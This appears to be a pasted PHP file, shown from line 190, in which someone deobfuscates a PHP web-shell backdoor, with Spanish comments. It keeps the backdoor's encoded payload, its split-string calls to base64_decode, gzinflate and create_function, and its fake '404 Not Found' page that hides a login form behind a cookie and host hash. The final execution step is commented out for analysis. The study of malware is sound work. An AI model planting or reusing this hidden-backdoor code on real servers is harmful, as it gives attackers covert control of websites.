  190.     0uHkQgVCx04E3xc/SaifNcc4j6UamNKaLX/yvXMANL5wLT6IB+h8bqA0Mceei4Zr0IwBLPbyRyfTkIG2
  191.     xwtj6ue/joPHQ76ZjEI+i8hlMWUNR8c6aLk2IFVyeeFpywoA9D1Ri3xtEgEN78SWvVdlmTmqqUIikHOP
  192.     LdBGcUDGkYScToHMEsl8mqbNuxEXEOxrNtYh9hImeoW9jMbjkUy1T33kYkQ5PhRJBPZ1rU7MwRi2xBbS
  193.     c53WAJoGCAt6jArSBNsylHeoJCDVke8ygtaFlstATE2ERyU5IpokQWwZEsjSZIVx5lvP4X6dqrNbAppa
  194.     hNP2qPnM7ioXh8lFHNSk5sIn5l4QtIUO2Pi8Hn7QpJFk/MHZoRYX08Edg9H/seqTX8RdfVcgpDeassX1
  195.     jx5kXEfP6RY92uvybxxUCrhqq5j1JKqaWe15d3DyPUWsBEtGQlkWpDC/WQVV7uZpGyAdS/e79MF5Wf5H
  196.     BZKWBkxMv3aCuEbLmDrkFk4fNAYJe1YGMFSx+Dv9VZBsKGVC0kGpETC+6DSG/c0l74FcTXwn2l41n8av
  197.     6lAdMjyBjW02T1f7QPmUhdEicJFKopvyWHfvxOOvcSnx35uzJkuD/gFRdvvPmr3bFseWRdhlN4fsPAfh
  198.     CLwNqmKbOrMgwLSQ3MPliyFLBtaLHjTkCSOFYAFDzUgV3N8Vhl3Bg7RzIZ0jYp9aaF3c7FrvNqIFtIfV
  199.     l9+6mBA2sOHTp0JsP04dvPiimUdkGVK1HI2u+UGP70lhJ+dFPyU7wOA8c1WB6u2gqwCVP4WRZf+vR5BB
  200.     972+0dKL8Y5qtvs9dqv9rkbXeQXEXq65Ewab3SFdrULY6ISh/0zhu+DBowGedPL2+ebzEvOjuK7eAzxT
  201.     ZvPhu2JkIWB08op/qLweuTHUbUHJzDNClYcqgEGIp3BZyD7O54mqLzjNR9PZ/6kLxHFG9WcBuDqcremL
  202.     uDF9eocUQ+fi/fmyjr7rhT6wU2hjShfX9nsrQt+EKcKw9dil3/pTHdGlAaCcyV+XC3l51facd/5GTpAg
  203.     I7bZs1cDmI4ljdv+mLUWiCgNAFCS8Kn/pgQTjFJFn3CM3c/4c0FZExFIDoENlnmSGO/EznO3N4Z6gmew
  204.     q0P5UW5tvgkms16HopAEmU28OwmdZMJd+qzq/GIPqhcwpR07x/0K+YJS9AVG/Dz/ZBcbk5gOMN/VsaKm
  205.     A17846QtY8Z07pjY+DdR8BrWv7ck0dLSCEnqLUAPnalfT7Hnx5ZyLJFVL+o9lKR/37cit3me3/vTgUJ8
  206.     C7PT8YepCa5MjVBzEqXBfCAmTUCX0J4zrd5UtxIbzdi59Tb0Tnw/pW+kdkrLRyXu4iawA34khZUSCrb1
  207.     ZayzL+WpXjrvj+dFOH+z4CvI6QV5zqaDpAM+tlzh9qC6pDt+s+zBFx/MM4u550Dt6wHq50VHqZsmcZ43
  208.     FhaG81jGdS+QrTMgNsFWW48zlf797nE1qMyzZzz/M8xsspfRiWv6N1FU91ptPMVGVSO+8Lfp1ZxNHgq9
  209.     qqUcny2uMF96+Z19VWPVaycW7S+bZceKA0pi2umDqfLiZlaYLk2xUG549D+t+FBU0zoQKqq6S5Br5yf6
  210.     HQc9a8FwPNV1Ms7KVSLYROiNgpBO59O5huAprFNW4pywmNIUFksMl6le44un0GN7CGue0BOJXVeee0qD
  211.     qTfRNGKIk/p4VpqmsjrYcxo01Qj7clCjjHtGM1D6W4RZFc9vOdYeBt+CglLfjlK9jzQwi02AWwovZCoP
  212.     ek+GKaWr2FG6DLGlt+4a5UFCBI9U6Qginytrwe9KlrEGtBVWnwK5z4DOeQmgUmn7MLWzlK8aI2s5OkAl
  213.     SujeQ8msX7rRwhI87wyt1E121mlshP6XKjfzC2NHYWsNSd9IhJEtqpo9GnNGH797DvSnGFpJ9ngxqXyA
  214.     siDOhS241NijtCOyaKU0NgwC+V70HdZCoJNNExrs3Jrd8vgQHxh4pFwUww6Np+22sqX6a4Ht+Ru+HKDS
  215.     WjcaWZVZ4TIRx8guomw4Xr7kFvS2AsRYML9ijErbzEbz5kklhUeZCrXd9pi7rXeH8wI0gDk0o/FBd4Mv
  216.     WgKaMVfba1UtpCeBoxFQFDmtZ1B80sX4Oo6cS1AH4Pd9rr2waGWN01OtDJStS4AJnZvobE0oRAUFaX+Q
  217.     QH8ido4Rhp01XdTnCzZtgBxWvAG4nIajxPaAxbkPBVIbu9Z41LgH3sz2QZsSY7QErGddCoYRo9hfvBcU
  218.     Prpz9AWtyIECj9IP24gxp+cPhtJoz/l7qnADs0fL6vPdf6KpjYZEX8Y6pqH/AKAE3IT6xIs5XSvL9kj6
  219.     aIjYYjgPQXmD3HmigWSVzDBHMFfB5+REUifTaoPFIS0bCGn0VXtieNk5Q28SAXo3xs9UVZmNAFy3gBiv
  220.     zGkfwneLyEDKMCtcKZ2p9kT6EN4T7xkt2/7PXUR75GBBxmK7Nsk5krG9zYV+1FhvFfLIGxte00nlGORN
  221.     lfMwJeox6tulXU90NOez8xdB5pVGeXpjmEHJDW3u7SVz0o394mHurPKOym+MTskZ0mjG6jMGZDI8RYBR
  222.     i2zVPGKFiXFcFLloKFe3tbyAIOXee7cVwc8KrcMCxywbh+48Bb0sDb3wqPhYOsIx6b9f8g4EtksmmFeP
  223.     qDtn9mWZ7PUjH6D29rIvkYRTdqZWmtvCKcAib5CVsr0rwmP6WJa/TS0Q58oYabP55GoOzAjNenycEp6s
  224.     yYowf0Fq6POKVlRkkTRlBUYM7RKBiQTr4cmoew5qGOJrYanGQCGRSP9H1RBJllUpUwHOaxbDCeRwgZnG
  225.     3cgMp43hbZCrxcnlDPP8m3w7gLUcew6kh7m0r2/gIzXX7wnwlfOM8L8pXVNcLhZKkZiQhqQZKRPqnKst
  226.     eQo9BDSiYE0RJvROcs8vkOskSyP5mvCs/iqDj6wVCTrX7sDSEtMIlVnCYBNawkVgIFiopZh4+oIeu3tl
  227.     w89IN9/uolxD8DXSf3KOoRcCFlBzxY8gzClzY6DScFVS6TTu64b8c4ou1ASq6zumeNpfu6aZuKerq3h2
  228.     aWKycfJXW7GJJLrOAm4WJcQiOzzws4sdS/AqK7GN557iLnW9h6GbLVfpZAUyqJEuThGaEgaLlP6wMPv+
  229.     DgmGLtzsLUcfkx6o4BhhNM4P5GEKmgwgBHqAXs3JeugzZv9HmDSXbOqtfnuIkMj5+W7WXFyNO0Nd19eY
  230.     j9mnDZJI7cs3mk7W8zBJw7x7MInk3mb3EzSGqpesq/Nb0iCbHbV0sH5Oo9SFz7TQ4mbRv7ifjUieilgD
  231.     rFv5uUrSyK6cpcUfYnwk/w1H/bGSP26+xhsAFwMGizTbX9zQR+3D0fU6ZV/1D2WNDSkdDPyN44MNiQc8
  232.     5wN7dpWQb4ZX4EuH2M1lm3rsmJa01DUQO9ZY9oGF8I61ysBv594oABu9YznePkIRdl0rnupvbaf0ea0v
  233.     c95uaREN20WvBdEkNNMGcj4Kw00VnXQo6IeBoCu9HNqSahNA1wDCUO/qj91ym4xOlTg0M/zNi0cgPb7z
  234.     i82gnDwqYgQ7iK3r7d5ZHZ3C41BAsWeWv8tdNNRSF7K455ceBYhxnQ8c8lGI518Pj/vwiFqqRV8odsGJ
  235.     EN08ZiMYdXoo1uAn0fH+NinYiJbuoxQHTJoHdPU6RQW1v9T5W8WVf1OJakbb+VJpQzZeGquKJSohf/kq
  236.     ghWZVkgW0mW9gYygBNqE3Q9Zg/QPRSR5z0FgB29A0qI7LnkST6rW8E37iimQ/DHdgut7D80nhvOdQJWI
  237.     ';
  238.  
  239.     var $mv = 'bVLvT9swEP1cJP6Hw4pwIkUtFVAm5ccXlIkJaWVtty9lqtLEUa0mduTYdNHo/76zYWwtfLu7d/f87p29
  240.     xkAClEbgVZxhWOV1x6LTE2/ztMWUrAgMoTPrTiu/2+Rj31vNs9mPbLakd4vFw+puOl/Qn0EIFyFcBjjI
  241.     K593HdPYOMu+fc/miyVd7Tj2BPD79GQw8NyTh5RHnY5tPLF0gz0wVPQf6+10ev8lW1qBR5yHWOSAl620
  242.     MsyROX1nrGl17+MQziumjRKQK5W7Ugi0Ytflek1DsDyhc8ZKYcVGAo3XsuxBikIKzX7phgmTkFcSZx5J
  243.     465QvNVpKQuDuB7uFNesFj65uriCr1LDZ2lESYLorUOKLetLuRP2BEYUmkvhM9yOV+CzYaFVfc96OD+3
  244.     GbbeyhL3ShKY3MDzMxzWPk0+qF2/r43HN/8MeDn8PtpxgTpQUFHzYvuRnLM3PX+HI3i36iONK6kayN1s
  245.     Qgg0TG9kmZBWdho94qI1GnTfsoRYIwmIvMEYf8ARil+l4Yg/5bXBNE0RH1ny9JEG0T4evdodj+xpUhr9
  246.     AQ=='; 
  247.  
  248.     var $memory;
  249.     var $_emu = 0;
  250.  
  251.     var $check = array('e', 't', 'nf', 'gz', 'i', 'la');
  252.     var $x64 = array('unct', 'crea', 'te_f', 'ion');       
  253.     var $stable = array('ode', 'base6', '4_dec');      
  254.     var $seek = array('e', 'se', 'tc', 'oo', 'ki');
  255.     var $_debug = array('str', 'e', '_re', 'plac');
  256.    
  257.        
  258.  
  259.     //_ls
  260.     //Se le envia como parametro una cadena en base64
  261.     //hace un remplazo de los saltos de linea en esa cadena
  262.     //y retorna una cadena sin saltos de linea (retornos de carro)
  263.    
  264.     function _ls($income) {
  265.         //str_replace;
  266.         $dx = $this->_debug[0].$this->_debug[2].$this->_debug[3].$this->_debug[1];
  267.  
  268.         //str_replace("\r\n","",$b64);
  269.         return $dx("\r\n", "", $income);
  270.     }
  271.  
  272.     /*
  273.     * base64_decode
  274.     */
  275.     function stable($backend){
  276.         $dx = $this->stable[1].$this->stable[2].$this->stable[0];
  277.         $dx = $dx($backend);               
  278.         return $dx;
  279.     }
  280.    
  281.     /*
  282.     *gzinflate
  283.     */ 
  284.  
  285.     function check($backend) {
  286.         $dx = $this->check[3].$this->check[4].$this->check[2].$this->check[5].$this->check[1].$this->check[0];
  287.         $dx = @$dx($backend);
  288.         return $dx;
  289.     }
  290.    
  291.     /*
  292.     *create_function(lambda)
  293.     *Se crea una funcion usando create_function pero como fue eliminada en php 8
  294.     *la intercambio por su equivalente; es decir, el codigo fuente contenido en
  295.     *el base64 de $mv
  296.    
  297.     function tx($move) {
  298.         $dx = $this->x64[1].$this->x64[2].$this->x64[0].$this->x64[3];
  299.         $view = @$dx('', $move);
  300.         return $view();
  301.     }
  302.  
  303.     *Esta funcion txt no recibe ningun argumento pero retorna un array de 3 elementos
  304.     *si todas las condicionales se satisfacen ($mu no es null), en caso contrario retorna codigo HTML y JS
  305.     *que imprime 404 not found y siguiendo una logica de eventos se supone deberia imprimirse
  306.     *lo que parece un formulario...
  307.     *Como dato interesante resta decir que dentro de ese JS las teclas con charCode 67,86,85,117 (CVUu) influyen
  308.     *para que onkeydown retorne false >_<.
  309.  
  310.     *Respecto al array que se retorna su $mu no es NULL los 3 elementos son:
  311.     *[$mu,'fe5dbb',$hvk,$fie]
  312.  
  313.     * [+]$mu -> (cadena de 16 caracteres alfanumericos (DEPENDE DE $_REQUEST['_wi']) con un "_" antepuesto || $_COOKIE['$hvk'] si existe)
  314.     * [+]fe5dbb-> cadena hardcodeada
  315.     * [+]$hvk -> cadena de 3 caracteres alfanumericos (DEPENDE DE $_SERVER['HTTP_HOST'])
  316.     * [+]$fie -> Si existe $_COOKIE["$hvk"] vale true en caso contrario false
  317.     */
  318.  
  319.  
  320.     function tx(){
  321.        
  322.         //BruteForce Aqui seria una alternativa
  323.         $_SERVER["HTTP_HOST"]='1.1.1.1';
  324.         $_REQUEST["_wi"]='blablablabla';
  325.  
  326.         $mu = '';
  327.  
  328.         $fie = false;
  329.  
  330.         $hvk = "_" . substr(sha1($_SERVER['HTTP_HOST']), 0, 3); //Cadena de 3 caracteres alfanumericos
  331.        
  332.         if(isset($_REQUEST['_wi'])) {
  333.  
  334.             $mu = substr(sha1($_REQUEST['_wi']), 0, 16); //Cadena de 16 caracteres alfanumericos
  335.  
  336.         }elseif(isset($_COOKIE[$hvk])){
  337.  
  338.             $mu = $_COOKIE[$hvk]; //Valor de cookie['$hvk']
  339.  
  340.             $fie = true;
  341.  
  342.         }
  343.  
  344.         if(!empty($mu))
  345.             return array($mu, 'fe5dbb', $hvk, $fie);
  346.  
  347.         echo '<body oncontextmenu="return false"><script>document.writeln("404 Not Found");document.onkeydown = function(e) {if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 117)) return false;};window.onclick = function(e) {if (!e.ctrlKey) return; document.writeln(\'<form action="" method="post"><input type="text" name="_wi"><input type="submit" value=">>"></form>\');}</script></body>';
  348.  
  349.     }
  350.    
  351.     /*
  352.         XD
  353.     */
  354.     function load() {
  355.         $this->ver = $this->income($this->_conf, $this->library, $this->module);
  356.        
  357.         //DESCOMENTAR PARA VER LA DATA COMPRIMIDA
  358.         //echo $this->ver;     
  359.  
  360.         //gzinflate()
  361.         $this->ver = $this->check($this->ver);
  362.        
  363.         //Si aqui se imprime algo coherente ya COMENTAS :P.
  364.         echo $this->ver;
  365.  
  366.         return $this->ver;
  367.        
  368.     }
  369.    
  370.     /*
  371.         XDD
  372.     */
  373.     function income($_conf, $point, $_build) {
  374.         $income = strlen($point) + strlen($_build);
  375.         while(strlen($_build) < $income) {
  376.             $_control = ord($point[$this->_emu]) - ord($_build[$this->_emu]);
  377.             $point[$this->_emu] = chr($_control % (8*32));
  378.             $_build .= $point[$this->_emu];
  379.             $this->_emu++;
  380.         }
  381.         return $point;
  382.     }
  383.  
  384.  
  385.     /*
  386.     * Procesa el base64 de $library y usa como parametros de conf los elementos del array que arroja tx
  387.     * $_build=$mu (cadena alfanumerica de 16 chars)
  388.     * $_conf='fe5dbb';
  389.     */
  390.     function _process($_build, $_conf='fe5dbb') {
  391.  
  392.         $this->module = $_build;
  393.         $this->_conf = $_conf;
  394.  
  395.         echo "PROCESANDO LIBRARY USANDO:\n";
  396.         echo $this->module.':'.$this->_conf;
  397.  
  398.         $this->library = $this->_ls($this->library);
  399.        
  400.         $this->library = $this->stable($this->library);
  401.        
  402.         $this->library = $this->load();
  403.        
  404.         /*
  405.         *SI QUITAMOS LOS COMENTARIOS EN ESTE BLOQUE PORQUE LOAD ARROJA ALGO LOGICO ENTONCES... ESTA OFUSCACION ESTA MAS CERCA DE SER HISTORIA :P
  406.         *
  407.        
  408.         if(strpos($this->library, $this->module) !== false) {
  409.             if(!$this->_x86)
  410.                 $this->seek($this->_access, $this->claster);
  411.             $this->tx($this->library);
  412.         }*/
  413.  
  414.        
  415.     }
  416.    
  417.     function seek($backend, $core) {
  418.         $income = $this->seek[1].$this->seek[2].$this->seek[3].$this->seek[4].$this->seek[0];
  419.         $income = @$income($backend, $core);
  420.     }  
  421.  
  422.     function test(){
  423.         $_code=$this->_ls($this->mv);
  424.         $_code=$this->check($this->stable($_code));
  425.         $_code=$this->tx($_code);
  426.         //print_r($_code);
  427.         if($_code) {
  428.             $this->_x86 = $_code[3]; //$fie->(false|true)
  429.             $this->_access = $_code[2]; //$hvk->(valor de cookie[$hvk] || cadena alfanumerica de 3 caracteres )
  430.             $this->claster = $_code[0]; //$mu->(cadena alfanumerica de 16 caracteres)
  431.             $this->_process($_code[0], $_code[1]);
  432.         }
  433.         //print_r($_code);
  434.     }
  435. }
  436. $debug=new Set();
  437. $debug->test();
  438. ?>
  439.  
Add Comment
Please, Sign In to add comment